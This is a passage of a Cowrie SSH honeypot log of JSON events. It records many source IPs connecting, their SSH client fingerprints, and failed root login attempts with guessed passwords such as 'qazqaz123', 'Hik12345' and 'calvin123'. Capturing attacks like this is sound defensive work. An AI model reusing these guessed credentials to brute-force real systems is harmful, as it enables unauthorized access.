d25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:53.058750Z","src_ip":"171.244.141.86","session":"ed79fa7100c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:54.105333Z","src_ip":"171.244.141.86","session":"ed79fa7100c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:55.365772Z","src_ip":"171.244.141.86","session":"ed79fa7100c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":42418,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cba1bce289a","protocol":"ssh","message":"New connection: 62.133.62.83:42418 (159.203.135.109:22) [session: 5cba1bce289a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:03.093358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:03.098460Z","src_ip":"62.133.62.83","session":"5cba1bce289a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:03.179189Z","src_ip":"62.133.62.83","session":"5cba1bce289a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazqaz123","message":"login attempt [root/qazqaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:03.423947Z","src_ip":"62.133.62.83","session":"5cba1bce289a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:04.564609Z","src_ip":"62.133.62.83","session":"5cba1bce289a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":41886,"dst_ip":"159.203.135.109","dst_port":22,"session":"75ca63142888","protocol":"ssh","message":"New connection: 77.94.47.83:41886 (159.203.135.109:22) [session: 75ca63142888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:13.136309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:13.141159Z","src_ip":"77.94.47.83","session":"75ca63142888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:13.271759Z","src_ip":"77.94.47.83","session":"75ca63142888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100500","message":"login attempt [root/100500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:13.665763Z","src_ip":"77.94.47.83","session":"75ca63142888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":48824,"dst_ip":"159.203.135.109","dst_port":22,"session":"73f024a369c8","protocol":"ssh","message":"New connection: 209.99.184.143:48824 (159.203.135.109:22) [session: 73f024a369c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:14.542254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:14.547815Z","src_ip":"209.99.184.143","session":"73f024a369c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:14.640790Z","src_ip":"209.99.184.143","session":"73f024a369c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:14.814335Z","src_ip":"77.94.47.83","session":"75ca63142888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hik12345","message":"login attempt [root/Hik12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:15.047461Z","src_ip":"209.99.184.143","session":"73f024a369c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:16.146165Z","src_ip":"209.99.184.143","session":"73f024a369c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.75301170349121,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:26.807218Z","src_ip":"192.119.13.58","session":"1c2eacb8f2bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":35752,"dst_ip":"10.17.0.5","dst_port":22,"session":"5553b184376d","protocol":"ssh","message":"New connection: 38.93.206.2:35752 (10.17.0.5:22) [session: 5553b184376d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:30.740859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:30.746018Z","src_ip":"38.93.206.2","session":"5553b184376d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:30.796890Z","src_ip":"38.93.206.2","session":"5553b184376d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zazaza","message":"login attempt [root/zazaza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:30.950766Z","src_ip":"38.93.206.2","session":"5553b184376d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":35920,"dst_ip":"159.203.135.109","dst_port":22,"session":"28b74e95bfb9","protocol":"ssh","message":"New connection: 43.135.182.46:35920 (159.203.135.109:22) [session: 28b74e95bfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:31.214101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:31.219152Z","src_ip":"43.135.182.46","session":"28b74e95bfb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:31.287883Z","src_ip":"43.135.182.46","session":"28b74e95bfb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin123","message":"login attempt [root/calvin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:31.592937Z","src_ip":"43.135.182.46","session":"28b74e95bfb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:32.005472Z","src_ip":"38.93.206.2","session":"5553b184376d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:32.664891Z","src_ip":"43.135.182.46","session":"28b74e95bfb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":44736,"dst_ip":"159.203.135.109","dst_port":22,"session":"d59d9fcc4468","protocol":"ssh","message":"New connection: 202.79.29.108:44736 (159.203.135.109:22) [session: d59d9fcc4468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:47.234629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:47.240695Z","src_ip":"202.79.29.108","session":"d59d9fcc4468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:47.503463Z","src_ip":"202.79.29.108","session":"d59d9fcc4468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wj123456","message":"login attempt [root/Wj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:48.581676Z","src_ip":"202.79.29.108","session":"d59d9fcc4468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:49.847210Z","src_ip":"202.79.29.108","session":"d59d9fcc4468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":56398,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e004fa2f94","protocol":"ssh","message":"New connection: 94.159.98.239:56398 (10.17.0.5:22) [session: 27e004fa2f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:50.556428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:50.661367Z","src_ip":"94.159.98.239","session":"27e004fa2f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:50.770398Z","src_ip":"94.159.98.239","session":"27e004fa2f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamont","message":"login attempt [root/mamont] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:51.647059Z","src_ip":"94.159.98.239","session":"27e004fa2f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:40:53.697580Z","src_ip":"94.159.98.239","session":"27e004fa2f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":42750,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e3f47d6dada","protocol":"ssh","message":"New connection: 43.130.31.151:42750 (159.203.135.109:22) [session: 8e3f47d6dada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:01.335184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:01.341101Z","src_ip":"43.130.31.151","session":"8e3f47d6dada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:01.411436Z","src_ip":"43.130.31.151","session":"8e3f47d6dada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wq123456","message":"login attempt [root/Wq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:01.722990Z","src_ip":"43.130.31.151","session":"8e3f47d6dada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:02.798384Z","src_ip":"43.130.31.151","session":"8e3f47d6dada","protocol":"ssh"}
